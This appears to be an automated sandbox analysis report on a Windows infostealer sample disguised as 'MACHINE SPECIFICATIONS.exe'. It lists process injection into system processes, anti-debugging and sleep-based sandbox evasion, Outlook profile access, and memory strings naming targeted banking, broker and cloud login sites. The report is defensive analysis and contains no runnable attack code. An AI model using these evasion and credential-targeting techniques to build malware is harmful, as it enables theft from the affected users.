Source: RmClient.exe, 00000004.00000003.1207548491.0000000000503000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000003.1207607707.00000000004EE000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3359764476.00000000004EE000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3359764476.0000000000523000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: MACHINE SPECIFICATIONS.exe	ReversingLabs: Detection: 47%
Source: MACHINE SPECIFICATIONS.exe	Virustotal: Detection: 46%

Source: unknown	Process created: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe "C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe"
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe"
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	Process created: C:\Windows\SysWOW64\RmClient.exe "C:\Windows\SysWOW64\RmClient.exe"
Source: C:\Windows\SysWOW64\RmClient.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe"			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	Process created: C:\Windows\SysWOW64\RmClient.exe "C:\Windows\SysWOW64\RmClient.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"			Jump to behavior

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: wsock32.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: ieframe.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: netapi32.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: wkscli.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: secur32.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: mlang.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: winsqlite3.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: vaultcli.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: wintypes.dll			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	Section loaded: dnsapi.dll			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	Section loaded: fwpuclnt.dll			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	Section loaded: rasadhlp.dll			Jump to behavior

Source: C:\Windows\SysWOW64\RmClient.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\RmClient.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: MACHINE SPECIFICATIONS.exe

Static file information: File size 1687040 > 1048576

Source: MACHINE SPECIFICATIONS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: MACHINE SPECIFICATIONS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: MACHINE SPECIFICATIONS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: MACHINE SPECIFICATIONS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: MACHINE SPECIFICATIONS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: MACHINE SPECIFICATIONS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: MACHINE SPECIFICATIONS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: RmClient.pdbGCTL source: svchost.exe, 00000002.00000002.1017998130.0000000003612000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1017979874.0000000003600000.00000004.00000020.00020000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000003.00000002.3360230218.000000000061E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: MACHINE SPECIFICATIONS.exe, 00000000.00000003.917648133.0000000003780000.00000004.00001000.00020000.00000000.sdmp, MACHINE SPECIFICATIONS.exe, 00000000.00000003.915648029.0000000003920000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1019775022.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1019775022.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.923429419.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.921429523.0000000003800000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000003.1018580969.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000003.1024300581.000000000087C000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3361658075.0000000000BCE000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3361658075.0000000000A30000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MACHINE SPECIFICATIONS.exe, 00000000.00000003.917648133.0000000003780000.00000004.00001000.00020000.00000000.sdmp, MACHINE SPECIFICATIONS.exe, 00000000.00000003.915648029.0000000003920000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1019775022.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1019775022.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.923429419.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.921429523.0000000003800000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000003.1018580969.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000003.1024300581.000000000087C000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3361658075.0000000000BCE000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3361658075.0000000000A30000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RmClient.exe, 00000004.00000002.3362363098.00000000031DC000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000004.00000002.3359764476.000000000046D000.00000004.00000020.00020000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000000.1089426792.000000000323C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1313448559.000000001D8BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RmClient.exe, 00000004.00000002.3362363098.00000000031DC000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000004.00000002.3359764476.000000000046D000.00000004.00000020.00020000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000000.1089426792.000000000323C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1313448559.000000001D8BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: RmClient.pdb source: svchost.exe, 00000002.00000002.1017998130.0000000003612000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1017979874.0000000003600000.00000004.00000020.00020000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000003.00000002.3360230218.000000000061E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: IexMqt2DaKEZyYvnrd.exe, 00000003.00000000.942593208.000000000048F000.00000002.00000001.01000000.00000004.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3359108111.000000000048F000.00000002.00000001.01000000.00000004.sdmp

Source: MACHINE SPECIFICATIONS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: MACHINE SPECIFICATIONS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: MACHINE SPECIFICATIONS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: MACHINE SPECIFICATIONS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: MACHINE SPECIFICATIONS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B9C304 LoadLibraryA,GetProcAddress,

0_2_00B9C304

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B48B85 push ecx; ret		0_2_00B48B98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00419001 push eax; ret		2_2_00419003
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00427013 push edi; retf		2_2_0042701C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004158EE push 0D652055h; ret		2_2_00415919
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004149DE push FFFFFFFBh; iretd		2_2_004149DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403250 push eax; ret		2_2_00403252
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00417357 push ebp; ret		2_2_00417359
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00415BA8 pushad ; iretd		2_2_00415BA9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411D7F push ss; retf		2_2_00411D80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004125B6 push es; ret		2_2_004125B7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004176CD push cs; ret		2_2_004176E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004067A8 push edx; ret		2_2_004067A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C0225F pushad ; ret		2_2_03C027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C027FA pushad ; ret		2_2_03C027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C309AD push ecx; mov dword ptr [esp], ecx		2_2_03C309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C0283D push eax; iretd		2_2_03C02858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C01368 push eax; iretd		2_2_03C01369
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C01065 push edi; ret		2_2_03C0108A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C018F3 push edx; iretd		2_2_03C01906

Hooking and other Techniques for Hiding and Protection

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B24A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00B24A35
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00BA55FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00BA55FD

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B433C7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B433C7

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	API/Special instruction interceptor: Address: CD3204
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FF9B762D324
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FF9B762D7E4
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FF9B762D944
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FF9B762D504
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FF9B762D544
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FF9B762D1E4
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FF9B7630154
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FF9B762DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03C7096E rdtsc

2_2_03C7096E

Source: C:\Windows\SysWOW64\RmClient.exe	Window / User API: threadDelayed 2133			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Window / User API: threadDelayed 7839			Jump to behavior

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	API coverage: 5.6 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %

Source: C:\Windows\SysWOW64\RmClient.exe TID: 4076	Thread sleep count: 2133 > 30			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe TID: 4076	Thread sleep time: -4266000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe TID: 4076	Thread sleep count: 7839 > 30			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe TID: 4076	Thread sleep time: -15678000s >= -30000s			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe TID: 1320	Thread sleep time: -90000s >= -30000s			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe TID: 1320	Thread sleep count: 38 > 30			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe TID: 1320	Thread sleep time: -57000s >= -30000s			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe TID: 1320	Thread sleep count: 48 > 30			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe TID: 1320	Thread sleep time: -48000s >= -30000s			Jump to behavior

Source: C:\Windows\SysWOW64\RmClient.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\RmClient.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B84696 GetFileAttributesW,FindFirstFileW,FindClose,		0_2_00B84696
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,		0_2_00B8C9C7
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8C93C FindFirstFileW,FindClose,		0_2_00B8C93C
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00B8F200
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00B8F35D
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,		0_2_00B8F65E
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B83A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_00B83A2B
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B83D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_00B83D4E
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,		0_2_00B8BF27

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B24AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00B24AFE

Source: 786202vrQ.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 786202vrQ.4.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: 786202vrQ.4.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 786202vrQ.4.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007704000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ers - GDCDYNVMware20,11696494690p
Source: RmClient.exe, 00000004.00000002.3359764476.000000000046D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllM
Source: 786202vrQ.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 786202vrQ.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 786202vrQ.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: 786202vrQ.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 786202vrQ.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 786202vrQ.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 786202vrQ.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007704000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: anara Transaction PasswordVMware20,11696494690x
Source: 786202vrQ.4.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007704000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ivebrokers.co.inVMware20,11696494690~
Source: 786202vrQ.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: 786202vrQ.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007704000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,1
Source: 786202vrQ.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 786202vrQ.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3360676106.0000000001479000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000008.00000002.1314942353.000002099D76D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 786202vrQ.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: 786202vrQ.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: 786202vrQ.4.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007704000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: merica.comVMware20,11696494690|UE
Source: 786202vrQ.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: 786202vrQ.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: 786202vrQ.4.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: 786202vrQ.4.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: 786202vrQ.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: 786202vrQ.4.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 786202vrQ.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: 786202vrQ.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 786202vrQ.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 786202vrQ.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 786202vrQ.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 786202vrQ.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690|UE

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03C7096E rdtsc

2_2_03C7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417B33 LdrLoadDll,

2_2_00417B33

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B941FD BlockInput,

0_2_00B941FD

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B23B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00B23B4C

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B55CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00B55CCC

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B9C304 LoadLibraryA,GetProcAddress,

0_2_00B9C304

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00CD34D0 mov eax, dword ptr fs:[00000030h]		0_2_00CD34D0
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00CD3470 mov eax, dword ptr fs:[00000030h]		0_2_00CD3470
